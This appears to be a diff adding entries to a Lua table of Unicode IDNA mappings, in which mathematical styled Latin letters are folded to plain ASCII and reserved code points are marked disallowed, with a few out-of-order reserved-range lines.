+ [0x1D1BD] = {0x1D1B9, 0x1D165, 0x1D16E}, -- MUSICAL SYMBOL SEMIMINIMA WHITE
+ [0x1D1BE] = {0x1D1BA, 0x1D165, 0x1D16E}, -- MUSICAL SYMBOL SEMIMINIMA BLACK
+ [0x1D1BF] = {0x1D1B9, 0x1D165, 0x1D16F}, -- MUSICAL SYMBOL FUSA WHITE
+ [0x1D1C0] = {0x1D1BA, 0x1D165, 0x1D16F}, -- MUSICAL SYMBOL FUSA BLACK
+ [0x1D400] = 0x0061, -- MATHEMATICAL BOLD CAPITAL A
+ [0x1D401] = 0x0062, -- MATHEMATICAL BOLD CAPITAL B
+ [0x1D402] = 0x0063, -- MATHEMATICAL BOLD CAPITAL C
+ [0x1D403] = 0x0064, -- MATHEMATICAL BOLD CAPITAL D
+ [0x1D404] = 0x0065, -- MATHEMATICAL BOLD CAPITAL E
+ [0x1D405] = 0x0066, -- MATHEMATICAL BOLD CAPITAL F
+ [0x1D406] = 0x0067, -- MATHEMATICAL BOLD CAPITAL G
+ [0x1D407] = 0x0068, -- MATHEMATICAL BOLD CAPITAL H
+ [0x1D408] = 0x0069, -- MATHEMATICAL BOLD CAPITAL I
+ [0x1D409] = 0x006A, -- MATHEMATICAL BOLD CAPITAL J
+ [0x1D40A] = 0x006B, -- MATHEMATICAL BOLD CAPITAL K
+ [0x1D40B] = 0x006C, -- MATHEMATICAL BOLD CAPITAL L
+ [0x1D40C] = 0x006D, -- MATHEMATICAL BOLD CAPITAL M
+ [0x1D40D] = 0x006E, -- MATHEMATICAL BOLD CAPITAL N
+ [0x1D40E] = 0x006F, -- MATHEMATICAL BOLD CAPITAL O
+ [0x1D40F] = 0x0070, -- MATHEMATICAL BOLD CAPITAL P
+ [0x1D410] = 0x0071, -- MATHEMATICAL BOLD CAPITAL Q
+ [0x1D411] = 0x0072, -- MATHEMATICAL BOLD CAPITAL R
+ [0x1D412] = 0x0073, -- MATHEMATICAL BOLD CAPITAL S
+ [0x1D413] = 0x0074, -- MATHEMATICAL BOLD CAPITAL T
+ [0x1D414] = 0x0075, -- MATHEMATICAL BOLD CAPITAL U
+ [0x1D415] = 0x0076, -- MATHEMATICAL BOLD CAPITAL V
+ [0x1D416] = 0x0077, -- MATHEMATICAL BOLD CAPITAL W
+ [0x1D417] = 0x0078, -- MATHEMATICAL BOLD CAPITAL X
+ [0x1D418] = 0x0079, -- MATHEMATICAL BOLD CAPITAL Y
+ [0x1D419] = 0x007A, -- MATHEMATICAL BOLD CAPITAL Z
+ [0x1D41A] = 0x0061, -- MATHEMATICAL BOLD SMALL A
+ [0x1D41B] = 0x0062, -- MATHEMATICAL BOLD SMALL B
+ [0x1D41C] = 0x0063, -- MATHEMATICAL BOLD SMALL C
+ [0x1D41D] = 0x0064, -- MATHEMATICAL BOLD SMALL D
+ [0x1D41E] = 0x0065, -- MATHEMATICAL BOLD SMALL E
+ [0x1D41F] = 0x0066, -- MATHEMATICAL BOLD SMALL F
+ [0x1D420] = 0x0067, -- MATHEMATICAL BOLD SMALL G
+ [0x1D421] = 0x0068, -- MATHEMATICAL BOLD SMALL H
+ [0x1D422] = 0x0069, -- MATHEMATICAL BOLD SMALL I
+ [0x1D423] = 0x006A, -- MATHEMATICAL BOLD SMALL J
+ [0x1D424] = 0x006B, -- MATHEMATICAL BOLD SMALL K
+ [0x1D425] = 0x006C, -- MATHEMATICAL BOLD SMALL L
+ [0x1D426] = 0x006D, -- MATHEMATICAL BOLD SMALL M
+ [0x1D427] = 0x006E, -- MATHEMATICAL BOLD SMALL N
+ [0x1D428] = 0x006F, -- MATHEMATICAL BOLD SMALL O
+ [0x1D429] = 0x0070, -- MATHEMATICAL BOLD SMALL P
+ [0x1D42A] = 0x0071, -- MATHEMATICAL BOLD SMALL Q
+ [0x1D42B] = 0x0072, -- MATHEMATICAL BOLD SMALL R
+ [0x1D42C] = 0x0073, -- MATHEMATICAL BOLD SMALL S
+ [0x1D42D] = 0x0074, -- MATHEMATICAL BOLD SMALL T
+ [0x1D42E] = 0x0075, -- MATHEMATICAL BOLD SMALL U
+ [0x1D42F] = 0x0076, -- MATHEMATICAL BOLD SMALL V
+ [0x1D430] = 0x0077, -- MATHEMATICAL BOLD SMALL W
+ [0x1D431] = 0x0078, -- MATHEMATICAL BOLD SMALL X
+ [0x1D432] = 0x0079, -- MATHEMATICAL BOLD SMALL Y
+ [0x1D433] = 0x007A, -- MATHEMATICAL BOLD SMALL Z
+ [0x1D434] = 0x0061, -- MATHEMATICAL ITALIC CAPITAL A
+ [0x1D435] = 0x0062, -- MATHEMATICAL ITALIC CAPITAL B
+ [0x1D436] = 0x0063, -- MATHEMATICAL ITALIC CAPITAL C
+ [0x1D437] = 0x0064, -- MATHEMATICAL ITALIC CAPITAL D
+ [0x1D438] = 0x0065, -- MATHEMATICAL ITALIC CAPITAL E
+ [0x1D439] = 0x0066, -- MATHEMATICAL ITALIC CAPITAL F
+ [0x1D43A] = 0x0067, -- MATHEMATICAL ITALIC CAPITAL G
+ [0x1D43B] = 0x0068, -- MATHEMATICAL ITALIC CAPITAL H
+ [0x1D43C] = 0x0069, -- MATHEMATICAL ITALIC CAPITAL I
+ [0x1D43D] = 0x006A, -- MATHEMATICAL ITALIC CAPITAL J
+ [0x1D43E] = 0x006B, -- MATHEMATICAL ITALIC CAPITAL K
+ [0x1D43F] = 0x006C, -- MATHEMATICAL ITALIC CAPITAL L
+ [0x1D440] = 0x006D, -- MATHEMATICAL ITALIC CAPITAL M
+ [0x1D441] = 0x006E, -- MATHEMATICAL ITALIC CAPITAL N
+ [0x1D442] = 0x006F, -- MATHEMATICAL ITALIC CAPITAL O
+ [0x1D443] = 0x0070, -- MATHEMATICAL ITALIC CAPITAL P
+ [0x1D444] = 0x0071, -- MATHEMATICAL ITALIC CAPITAL Q
+ [0x1D445] = 0x0072, -- MATHEMATICAL ITALIC CAPITAL R
+ [0x1D446] = 0x0073, -- MATHEMATICAL ITALIC CAPITAL S
+ [0x1D447] = 0x0074, -- MATHEMATICAL ITALIC CAPITAL T
+ [0x1D448] = 0x0075, -- MATHEMATICAL ITALIC CAPITAL U
+ [0x1D449] = 0x0076, -- MATHEMATICAL ITALIC CAPITAL V
+ [0x1D44A] = 0x0077, -- MATHEMATICAL ITALIC CAPITAL W
+ [0x1D44B] = 0x0078, -- MATHEMATICAL ITALIC CAPITAL X
+ [0x1D44C] = 0x0079, -- MATHEMATICAL ITALIC CAPITAL Y
+ [0x1D44D] = 0x007A, -- MATHEMATICAL ITALIC CAPITAL Z
+ [0x1D44E] = 0x0061, -- MATHEMATICAL ITALIC SMALL A
+ [0x1D44F] = 0x0062, -- MATHEMATICAL ITALIC SMALL B
+ [0x1D450] = 0x0063, -- MATHEMATICAL ITALIC SMALL C
+ [0x1D451] = 0x0064, -- MATHEMATICAL ITALIC SMALL D
+ [0x1D452] = 0x0065, -- MATHEMATICAL ITALIC SMALL E
+ [0x1D453] = 0x0066, -- MATHEMATICAL ITALIC SMALL F
+ [0x1D454] = 0x0067, -- MATHEMATICAL ITALIC SMALL G
+ [0x1D455] = {status="disallowed"}, -- NA <reserved-1D455>
+ [0x1D456] = 0x0069, -- MATHEMATICAL ITALIC SMALL I
+ [0x1D457] = 0x006A, -- MATHEMATICAL ITALIC SMALL J
+ [0x1D458] = 0x006B, -- MATHEMATICAL ITALIC SMALL K
+ [0x1D459] = 0x006C, -- MATHEMATICAL ITALIC SMALL L
+ [0x1D45A] = 0x006D, -- MATHEMATICAL ITALIC SMALL M
+ [0x1D45B] = 0x006E, -- MATHEMATICAL ITALIC SMALL N
+ [0x1D45C] = 0x006F, -- MATHEMATICAL ITALIC SMALL O
+ [0x1D45D] = 0x0070, -- MATHEMATICAL ITALIC SMALL P
+ [0x1D45E] = 0x0071, -- MATHEMATICAL ITALIC SMALL Q
+ [0x1D45F] = 0x0072, -- MATHEMATICAL ITALIC SMALL R
+ [0x1D460] = 0x0073, -- MATHEMATICAL ITALIC SMALL S
+ [0x1D461] = 0x0074, -- MATHEMATICAL ITALIC SMALL T
+ [0x1D462] = 0x0075, -- MATHEMATICAL ITALIC SMALL U
+ [0x1D463] = 0x0076, -- MATHEMATICAL ITALIC SMALL V
+ [0x1D464] = 0x0077, -- MATHEMATICAL ITALIC SMALL W
+ [0x1D465] = 0x0078, -- MATHEMATICAL ITALIC SMALL X
+ [0x1D466] = 0x0079, -- MATHEMATICAL ITALIC SMALL Y
+ [0x1D467] = 0x007A, -- MATHEMATICAL ITALIC SMALL Z
+ [0x1D468] = 0x0061, -- MATHEMATICAL BOLD ITALIC CAPITAL A
+ [0x1D469] = 0x0062, -- MATHEMATICAL BOLD ITALIC CAPITAL B
+ [0x1D46A] = 0x0063, -- MATHEMATICAL BOLD ITALIC CAPITAL C
+ [0x1D46B] = 0x0064, -- MATHEMATICAL BOLD ITALIC CAPITAL D
+ [0x1D46C] = 0x0065, -- MATHEMATICAL BOLD ITALIC CAPITAL E
+ [0x1D46D] = 0x0066, -- MATHEMATICAL BOLD ITALIC CAPITAL F
+ [0x1D46E] = 0x0067, -- MATHEMATICAL BOLD ITALIC CAPITAL G
+ [0x1D46F] = 0x0068, -- MATHEMATICAL BOLD ITALIC CAPITAL H
+ [0x1D470] = 0x0069, -- MATHEMATICAL BOLD ITALIC CAPITAL I
+ [0x1D471] = 0x006A, -- MATHEMATICAL BOLD ITALIC CAPITAL J
+ [0x1D472] = 0x006B, -- MATHEMATICAL BOLD ITALIC CAPITAL K
+ [0x1D473] = 0x006C, -- MATHEMATICAL BOLD ITALIC CAPITAL L
+ [0x1D474] = 0x006D, -- MATHEMATICAL BOLD ITALIC CAPITAL M
+ [0x1D475] = 0x006E, -- MATHEMATICAL BOLD ITALIC CAPITAL N
+ [0x1D476] = 0x006F, -- MATHEMATICAL BOLD ITALIC CAPITAL O
+ [0x1D477] = 0x0070, -- MATHEMATICAL BOLD ITALIC CAPITAL P
+ [0x1D478] = 0x0071, -- MATHEMATICAL BOLD ITALIC CAPITAL Q
+ [0x1D479] = 0x0072, -- MATHEMATICAL BOLD ITALIC CAPITAL R
+ [0x1D47A] = 0x0073, -- MATHEMATICAL BOLD ITALIC CAPITAL S
+ [0x1D47B] = 0x0074, -- MATHEMATICAL BOLD ITALIC CAPITAL T
+ [0x1D47C] = 0x0075, -- MATHEMATICAL BOLD ITALIC CAPITAL U
+ [0x1D47D] = 0x0076, -- MATHEMATICAL BOLD ITALIC CAPITAL V
+ [0x1D47E] = 0x0077, -- MATHEMATICAL BOLD ITALIC CAPITAL W
+ [0x1D47F] = 0x0078, -- MATHEMATICAL BOLD ITALIC CAPITAL X
+ [0x1D480] = 0x0079, -- MATHEMATICAL BOLD ITALIC CAPITAL Y
+ [0x1D481] = 0x007A, -- MATHEMATICAL BOLD ITALIC CAPITAL Z
+ [0x1D482] = 0x0061, -- MATHEMATICAL BOLD ITALIC SMALL A
+ [0x1D483] = 0x0062, -- MATHEMATICAL BOLD ITALIC SMALL B
+ [0x1D484] = 0x0063, -- MATHEMATICAL BOLD ITALIC SMALL C
+ [0x1D485] = 0x0064, -- MATHEMATICAL BOLD ITALIC SMALL D
+ [0x1D486] = 0x0065, -- MATHEMATICAL BOLD ITALIC SMALL E
+ [0x1D487] = 0x0066, -- MATHEMATICAL BOLD ITALIC SMALL F
+ [0x1D488] = 0x0067, -- MATHEMATICAL BOLD ITALIC SMALL G
+ [0x1D489] = 0x0068, -- MATHEMATICAL BOLD ITALIC SMALL H
+ [0x1D48A] = 0x0069, -- MATHEMATICAL BOLD ITALIC SMALL I
+ [0x1D48B] = 0x006A, -- MATHEMATICAL BOLD ITALIC SMALL J
+ [0x1D48C] = 0x006B, -- MATHEMATICAL BOLD ITALIC SMALL K
+ [0x1D48D] = 0x006C, -- MATHEMATICAL BOLD ITALIC SMALL L
+ [0x1D48E] = 0x006D, -- MATHEMATICAL BOLD ITALIC SMALL M
+ [0x1D48F] = 0x006E, -- MATHEMATICAL BOLD ITALIC SMALL N
+ [0x1D490] = 0x006F, -- MATHEMATICAL BOLD ITALIC SMALL O
+ [0x1D491] = 0x0070, -- MATHEMATICAL BOLD ITALIC SMALL P
+ [0x1D492] = 0x0071, -- MATHEMATICAL BOLD ITALIC SMALL Q
+ [0x1D493] = 0x0072, -- MATHEMATICAL BOLD ITALIC SMALL R
+ [0x1D494] = 0x0073, -- MATHEMATICAL BOLD ITALIC SMALL S
+ [0x1D495] = 0x0074, -- MATHEMATICAL BOLD ITALIC SMALL T
+ [0x1D496] = 0x0075, -- MATHEMATICAL BOLD ITALIC SMALL U
+ [0x1D497] = 0x0076, -- MATHEMATICAL BOLD ITALIC SMALL V
+ [0x1D498] = 0x0077, -- MATHEMATICAL BOLD ITALIC SMALL W
+ [0x1D499] = 0x0078, -- MATHEMATICAL BOLD ITALIC SMALL X
+ [0x1D49A] = 0x0079, -- MATHEMATICAL BOLD ITALIC SMALL Y
+ [0x1D49B] = 0x007A, -- MATHEMATICAL BOLD ITALIC SMALL Z
+ [0x1D49C] = 0x0061, -- MATHEMATICAL SCRIPT CAPITAL A
+ [0x1D49D] = {status="disallowed"}, -- NA <reserved-1D49D>
+ [0x1D49E] = 0x0063, -- MATHEMATICAL SCRIPT CAPITAL C
+ [0x1D49F] = 0x0064, -- MATHEMATICAL SCRIPT CAPITAL D
+ [0x1D4A2] = 0x0067, -- MATHEMATICAL SCRIPT CAPITAL G
+ -- NA <reserved-1D4A0>..<reserved-1D4A1>
+ [0x1D4A0] = {status="disallowed"},
+ [0x1D4A1] = {status="disallowed"},
+ [0x1D4A5] = 0x006A, -- MATHEMATICAL SCRIPT CAPITAL J
+ [0x1D4A6] = 0x006B, -- MATHEMATICAL SCRIPT CAPITAL K
+ -- NA <reserved-1D4A3>..<reserved-1D4A4>
+ [0x1D4A3] = {status="disallowed"},
+ [0x1D4A4] = {status="disallowed"},
+ [0x1D4A9] = 0x006E, -- MATHEMATICAL SCRIPT CAPITAL N
+ [0x1D4AA] = 0x006F, -- MATHEMATICAL SCRIPT CAPITAL O
+ [0x1D4AB] = 0x0070, -- MATHEMATICAL SCRIPT CAPITAL P
+ [0x1D4AC] = 0x0071, -- MATHEMATICAL SCRIPT CAPITAL Q
+ [0x1D4AD] = {status="disallowed"}, -- NA <reserved-1D4AD>
+ [0x1D4AE] = 0x0073, -- MATHEMATICAL SCRIPT CAPITAL S
+ [0x1D4AF] = 0x0074, -- MATHEMATICAL SCRIPT CAPITAL T
+ [0x1D4B0] = 0x0075, -- MATHEMATICAL SCRIPT CAPITAL U
+ [0x1D4B1] = 0x0076, -- MATHEMATICAL SCRIPT CAPITAL V
+ [0x1D4B2] = 0x0077, -- MATHEMATICAL SCRIPT CAPITAL W
+ [0x1D4B3] = 0x0078, -- MATHEMATICAL SCRIPT CAPITAL X
+ [0x1D4B4] = 0x0079, -- MATHEMATICAL SCRIPT CAPITAL Y
+ [0x1D4B5] = 0x007A, -- MATHEMATICAL SCRIPT CAPITAL Z
+ [0x1D4B6] = 0x0061, -- MATHEMATICAL SCRIPT SMALL A
+ [0x1D4B7] = 0x0062, -- MATHEMATICAL SCRIPT SMALL B
+ [0x1D4B8] = 0x0063, -- MATHEMATICAL SCRIPT SMALL C
+ [0x1D4B9] = 0x0064, -- MATHEMATICAL SCRIPT SMALL D
+ [0x1D4BA] = {status="disallowed"}, -- NA <reserved-1D4BA>
+ [0x1D4BB] = 0x0066, -- MATHEMATICAL SCRIPT SMALL F
+ [0x1D4BC] = {status="disallowed"}, -- NA <reserved-1D4BC>
+ [0x1D4BD] = 0x0068, -- MATHEMATICAL SCRIPT SMALL H
+ [0x1D4BE] = 0x0069, -- MATHEMATICAL SCRIPT SMALL I
+ [0x1D4BF] = 0x006A, -- MATHEMATICAL SCRIPT SMALL J
+ [0x1D4C0] = 0x006B, -- MATHEMATICAL SCRIPT SMALL K
+ [0x1D4C1] = 0x006C, -- MATHEMATICAL SCRIPT SMALL L
+ [0x1D4C2] = 0x006D, -- MATHEMATICAL SCRIPT SMALL M
+ [0x1D4C3] = 0x006E, -- MATHEMATICAL SCRIPT SMALL N
+ [0x1D4C4] = {status="disallowed"}, -- NA <reserved-1D4C4>
+ [0x1D4C5] = 0x0070, -- MATHEMATICAL SCRIPT SMALL P
+ [0x1D4C6] = 0x0071, -- MATHEMATICAL SCRIPT SMALL Q
+ [0x1D4C7] = 0x0072, -- MATHEMATICAL SCRIPT SMALL R
+ [0x1D4C8] = 0x0073, -- MATHEMATICAL SCRIPT SMALL S
+ [0x1D4C9] = 0x0074, -- MATHEMATICAL SCRIPT SMALL T
+ [0x1D4CA] = 0x0075, -- MATHEMATICAL SCRIPT SMALL U
+ [0x1D4CB] = 0x0076, -- MATHEMATICAL SCRIPT SMALL V
+ [0x1D4CC] = 0x0077, -- MATHEMATICAL SCRIPT SMALL W
+ [0x1D4CD] = 0x0078, -- MATHEMATICAL SCRIPT SMALL X
+ [0x1D4CE] = 0x0079, -- MATHEMATICAL SCRIPT SMALL Y
+ [0x1D4CF] = 0x007A, -- MATHEMATICAL SCRIPT SMALL Z
+ [0x1D4D0] = 0x0061, -- MATHEMATICAL BOLD SCRIPT CAPITAL A
+ [0x1D4D1] = 0x0062, -- MATHEMATICAL BOLD SCRIPT CAPITAL B
+ [0x1D4D2] = 0x0063, -- MATHEMATICAL BOLD SCRIPT CAPITAL C
+ [0x1D4D3] = 0x0064, -- MATHEMATICAL BOLD SCRIPT CAPITAL D
+ [0x1D4D4] = 0x0065, -- MATHEMATICAL BOLD SCRIPT CAPITAL E
+ [0x1D4D5] = 0x0066, -- MATHEMATICAL BOLD SCRIPT CAPITAL F
+ [0x1D4D6] = 0x0067, -- MATHEMATICAL BOLD SCRIPT CAPITAL G
+ [0x1D4D7] = 0x0068, -- MATHEMATICAL BOLD SCRIPT CAPITAL H
+ [0x1D4D8] = 0x0069, -- MATHEMATICAL BOLD SCRIPT CAPITAL I
+ [0x1D4D9] = 0x006A, -- MATHEMATICAL BOLD SCRIPT CAPITAL J
+ [0x1D4DA] = 0x006B, -- MATHEMATICAL BOLD SCRIPT CAPITAL K
+ [0x1D4DB] = 0x006C, -- MATHEMATICAL BOLD SCRIPT CAPITAL L
+ [0x1D4DC] = 0x006D, -- MATHEMATICAL BOLD SCRIPT CAPITAL M
+ [0x1D4DD] = 0x006E, -- MATHEMATICAL BOLD SCRIPT CAPITAL N
+ [0x1D4DE] = 0x006F, -- MATHEMATICAL BOLD SCRIPT CAPITAL O
+ [0x1D4DF] = 0x0070, -- MATHEMATICAL BOLD SCRIPT CAPITAL P
+ [0x1D4E0] = 0x0071, -- MATHEMATICAL BOLD SCRIPT CAPITAL Q
+ [0x1D4E1] = 0x0072, -- MATHEMATICAL BOLD SCRIPT CAPITAL R
+ [0x1D4E2] = 0x0073, -- MATHEMATICAL BOLD SCRIPT CAPITAL S
+ [0x1D4E3] = 0x0074, -- MATHEMATICAL BOLD SCRIPT CAPITAL T
+ [0x1D4E4] = 0x0075, -- MATHEMATICAL BOLD SCRIPT CAPITAL U
+ [0x1D4E5] = 0x0076, -- MATHEMATICAL BOLD SCRIPT CAPITAL V
+ [0x1D4E6] = 0x0077, -- MATHEMATICAL BOLD SCRIPT CAPITAL W
+ [0x1D4E7] = 0x0078, -- MATHEMATICAL BOLD SCRIPT CAPITAL X
+ [0x1D4E8] = 0x0079, -- MATHEMATICAL BOLD SCRIPT CAPITAL Y
+ [0x1D4E9] = 0x007A, -- MATHEMATICAL BOLD SCRIPT CAPITAL Z
+ [0x1D4EA] = 0x0061, -- MATHEMATICAL BOLD SCRIPT SMALL A
+ [0x1D4EB] = 0x0062, -- MATHEMATICAL BOLD SCRIPT SMALL B
+ [0x1D4EC] = 0x0063, -- MATHEMATICAL BOLD SCRIPT SMALL C
+ [0x1D4ED] = 0x0064, -- MATHEMATICAL BOLD SCRIPT SMALL D
+ [0x1D4EE] = 0x0065, -- MATHEMATICAL BOLD SCRIPT SMALL E
+ [0x1D4EF] = 0x0066, -- MATHEMATICAL BOLD SCRIPT SMALL F
+ [0x1D4F0] = 0x0067, -- MATHEMATICAL BOLD SCRIPT SMALL G
+ [0x1D4F1] = 0x0068, -- MATHEMATICAL BOLD SCRIPT SMALL H
+ [0x1D4F2] = 0x0069, -- MATHEMATICAL BOLD SCRIPT SMALL I
+ [0x1D4F3] = 0x006A, -- MATHEMATICAL BOLD SCRIPT SMALL J
+ [0x1D4F4] = 0x006B, -- MATHEMATICAL BOLD SCRIPT SMALL K
+ [0x1D4F5] = 0x006C, -- MATHEMATICAL BOLD SCRIPT SMALL L
+ [0x1D4F6] = 0x006D, -- MATHEMATICAL BOLD SCRIPT SMALL M
+ [0x1D4F7] = 0x006E, -- MATHEMATICAL BOLD SCRIPT SMALL N
+ [0x1D4F8] = 0x006F, -- MATHEMATICAL BOLD SCRIPT SMALL O
+ [0x1D4F9] = 0x0070, -- MATHEMATICAL BOLD SCRIPT SMALL P
+ [0x1D4FA] = 0x0071, -- MATHEMATICAL BOLD SCRIPT SMALL Q
+ [0x1D4FB] = 0x0072, -- MATHEMATICAL BOLD SCRIPT SMALL R
+ [0x1D4FC] = 0x0073, -- MATHEMATICAL BOLD SCRIPT SMALL S
+ [0x1D4FD] = 0x0074, -- MATHEMATICAL BOLD SCRIPT SMALL T
+ [0x1D4FE] = 0x0075, -- MATHEMATICAL BOLD SCRIPT SMALL U
+ [0x1D4FF] = 0x0076, -- MATHEMATICAL BOLD SCRIPT SMALL V
+ [0x1D500] = 0x0077, -- MATHEMATICAL BOLD SCRIPT SMALL W
+ [0x1D501] = 0x0078, -- MATHEMATICAL BOLD SCRIPT SMALL X
+ [0x1D502] = 0x0079, -- MATHEMATICAL BOLD SCRIPT SMALL Y
+ [0x1D503] = 0x007A, -- MATHEMATICAL BOLD SCRIPT SMALL Z
+ [0x1D504] = 0x0061, -- MATHEMATICAL FRAKTUR CAPITAL A
+ [0x1D505] = 0x0062, -- MATHEMATICAL FRAKTUR CAPITAL B
+ [0x1D506] = {status="disallowed"}, -- NA <reserved-1D506>
+ [0x1D507] = 0x0064, -- MATHEMATICAL FRAKTUR CAPITAL D
+ [0x1D508] = 0x0065, -- MATHEMATICAL FRAKTUR CAPITAL E
+ [0x1D509] = 0x0066, -- MATHEMATICAL FRAKTUR CAPITAL F
+ [0x1D50A] = 0x0067, -- MATHEMATICAL FRAKTUR CAPITAL G
+ -- NA <reserved-1D4A7>..<reserved-1D4A8>
+ [0x1D4A7] = {status="disallowed"},
+ [0x1D4A8] = {status="disallowed"},
+ [0x1D50D] = 0x006A, -- MATHEMATICAL FRAKTUR CAPITAL J
+ [0x1D50E] = 0x006B, -- MATHEMATICAL FRAKTUR CAPITAL K
+ [0x1D50F] = 0x006C, -- MATHEMATICAL FRAKTUR CAPITAL L
+ [0x1D510] = 0x006D, -- MATHEMATICAL FRAKTUR CAPITAL M
+ [0x1D511] = 0x006E, -- MATHEMATICAL FRAKTUR CAPITAL N
+ [0x1D512] = 0x006F, -- MATHEMATICAL FRAKTUR CAPITAL O
+ [0x1D513] = 0x0070, -- MATHEMATICAL FRAKTUR CAPITAL P
+ [0x1D514] = 0x0071, -- MATHEMATICAL FRAKTUR CAPITAL Q
+ [0x1D515] = {status="disallowed"}, -- NA <reserved-1D515>
+ [0x1D516] = 0x0073, -- MATHEMATICAL FRAKTUR CAPITAL S
+ [0x1D517] = 0x0074, -- MATHEMATICAL FRAKTUR CAPITAL T
+ [0x1D518] = 0x0075, -- MATHEMATICAL FRAKTUR CAPITAL U
+ [0x1D519] = 0x0076, -- MATHEMATICAL FRAKTUR CAPITAL V
+ [0x1D51A] = 0x0077, -- MATHEMATICAL FRAKTUR CAPITAL W
+ [0x1D51B] = 0x0078, -- MATHEMATICAL FRAKTUR CAPITAL X
+ [0x1D51C] = 0x0079, -- MATHEMATICAL FRAKTUR CAPITAL Y
+ [0x1D51D] = {status="disallowed"}, -- NA <reserved-1D51D>
+ [0x1D51E] = 0x0061, -- MATHEMATICAL FRAKTUR SMALL A
+ [0x1D51F] = 0x0062, -- MATHEMATICAL FRAKTUR SMALL B
+ [0x1D520] = 0x0063, -- MATHEMATICAL FRAKTUR SMALL C
+ [0x1D521] = 0x0064, -- MATHEMATICAL FRAKTUR SMALL D
+ [0x1D522] = 0x0065, -- MATHEMATICAL FRAKTUR SMALL E
+ [0x1D523] = 0x0066, -- MATHEMATICAL FRAKTUR SMALL F
+ [0x1D524] = 0x0067, -- MATHEMATICAL FRAKTUR SMALL G
+ [0x1D525] = 0x0068, -- MATHEMATICAL FRAKTUR SMALL H
+ [0x1D526] = 0x0069, -- MATHEMATICAL FRAKTUR SMALL I
+ [0x1D527] = 0x006A, -- MATHEMATICAL FRAKTUR SMALL J
+ [0x1D528] = 0x006B, -- MATHEMATICAL FRAKTUR SMALL K
+ [0x1D529] = 0x006C, -- MATHEMATICAL FRAKTUR SMALL L
+ [0x1D52A] = 0x006D, -- MATHEMATICAL FRAKTUR SMALL M
+ [0x1D52B] = 0x006E, -- MATHEMATICAL FRAKTUR SMALL N
+ [0x1D52C] = 0x006F, -- MATHEMATICAL FRAKTUR SMALL O
+ [0x1D52D] = 0x0070, -- MATHEMATICAL FRAKTUR SMALL P
+ [0x1D52E] = 0x0071, -- MATHEMATICAL FRAKTUR SMALL Q
+ [0x1D52F] = 0x0072, -- MATHEMATICAL FRAKTUR SMALL R
+ [0x1D530] = 0x0073, -- MATHEMATICAL FRAKTUR SMALL S
+ [0x1D531] = 0x0074, -- MATHEMATICAL FRAKTUR SMALL T
+ [0x1D532] = 0x0075, -- MATHEMATICAL FRAKTUR SMALL U
+ [0x1D533] = 0x0076, -- MATHEMATICAL FRAKTUR SMALL V
+ [0x1D534] = 0x0077, -- MATHEMATICAL FRAKTUR SMALL W
+ [0x1D535] = 0x0078, -- MATHEMATICAL FRAKTUR SMALL X
+ [0x1D536] = 0x0079, -- MATHEMATICAL FRAKTUR SMALL Y
+ [0x1D537] = 0x007A, -- MATHEMATICAL FRAKTUR SMALL Z
+ [0x1D538] = 0x0061, -- MATHEMATICAL DOUBLE-STRUCK CAPITAL A
+ [0x1D539] = 0x0062, -- MATHEMATICAL DOUBLE-STRUCK CAPITAL B
+ [0x1D53A] = {status="disallowed"}, -- NA <reserved-1D53A>
+ [0x1D53B] = 0x0064, -- MATHEMATICAL DOUBLE-STRUCK CAPITAL D
+ [0x1D53C] = 0x0065, -- MATHEMATICAL DOUBLE-STRUCK CAPITAL E
+ [0x1D53D] = 0x0066, -- MATHEMATICAL DOUBLE-STRUCK CAPITAL F
+ [0x1D53E] = 0x0067, -- MATHEMATICAL DOUBLE-STRUCK CAPITAL G
+ [0x1D53F] = {status="disallowed"}, -- NA <reserved-1D53F>
+ [0x1D540] = 0x0069, -- MATHEMATICAL DOUBLE-STRUCK CAPITAL I
+ [0x1D541] = 0x006A, -- MATHEMATICAL DOUBLE-STRUCK CAPITAL J
+ [0x1D542] = 0x006B, -- MATHEMATICAL DOUBLE-STRUCK CAPITAL K
+ [0x1D543] = 0x006C, -- MATHEMATICAL DOUBLE-STRUCK CAPITAL L
+ [0x1D544] = 0x006D, -- MATHEMATICAL DOUBLE-STRUCK CAPITAL M
+ [0x1D545] = {status="disallowed"}, -- NA <reserved-1D545>
+ [0x1D546] = 0x006F, -- MATHEMATICAL DOUBLE-STRUCK CAPITAL O
+ -- NA <reserved-1D50B>..<reserved-1D50C>
+ [0x1D50B] = {status="disallowed"},
+ [0x1D50C] = {status="disallowed"},
+ [0x1D54A] = 0x0073, -- MATHEMATICAL DOUBLE-STRUCK CAPITAL S
+ [0x1D54B] = 0x0074, -- MATHEMATICAL DOUBLE-STRUCK CAPITAL T
+ [0x1D54C] = 0x0075, -- MATHEMATICAL DOUBLE-STRUCK CAPITAL U
+ [0x1D54D] = 0x0076, -- MATHEMATICAL DOUBLE-STRUCK CAPITAL V
+ [0x1D54E] = 0x0077, -- MATHEMATICAL DOUBLE-STRUCK CAPITAL W
+ [0x1D54F] = 0x0078, -- MATHEMATICAL DOUBLE-STRUCK CAPITAL X
+ [0x1D550] = 0x0079, -- MATHEMATICAL DOUBLE-STRUCK CAPITAL Y
+ [0x1D551] = {status="disallowed"}, -- NA <reserved-1D551>
+ [0x1D552] = 0x0061, -- MATHEMATICAL DOUBLE-STRUCK SMALL A
+ [0x1D553] = 0x0062, -- MATHEMATICAL DOUBLE-STRUCK SMALL B
+ [0x1D554] = 0x0063, -- MATHEMATICAL DOUBLE-STRUCK SMALL C
+ [0x1D555] = 0x0064, -- MATHEMATICAL DOUBLE-STRUCK SMALL D
+ [0x1D556] = 0x0065, -- MATHEMATICAL DOUBLE-STRUCK SMALL E
+ [0x1D557] = 0x0066, -- MATHEMATICAL DOUBLE-STRUCK SMALL F
+ [0x1D558] = 0x0067, -- MATHEMATICAL DOUBLE-STRUCK SMALL G
+ [0x1D559] = 0x0068, -- MATHEMATICAL DOUBLE-STRUCK SMALL H
+ [0x1D55A] = 0x0069, -- MATHEMATICAL DOUBLE-STRUCK SMALL I
+ [0x1D55B] = 0x006A, -- MATHEMATICAL DOUBLE-STRUCK SMALL J
+ [0x1D55C] = 0x006B, -- MATHEMATICAL DOUBLE-STRUCK SMALL K
+ [0x1D55D] = 0x006C, -- MATHEMATICAL DOUBLE-STRUCK SMALL L
+ [0x1D55E] = 0x006D, -- MATHEMATICAL DOUBLE-STRUCK SMALL M
+ [0x1D55F] = 0x006E, -- MATHEMATICAL DOUBLE-STRUCK SMALL N
+ [0x1D560] = 0x006F, -- MATHEMATICAL DOUBLE-STRUCK SMALL O
+ [0x1D561] = 0x0070, -- MATHEMATICAL DOUBLE-STRUCK SMALL P
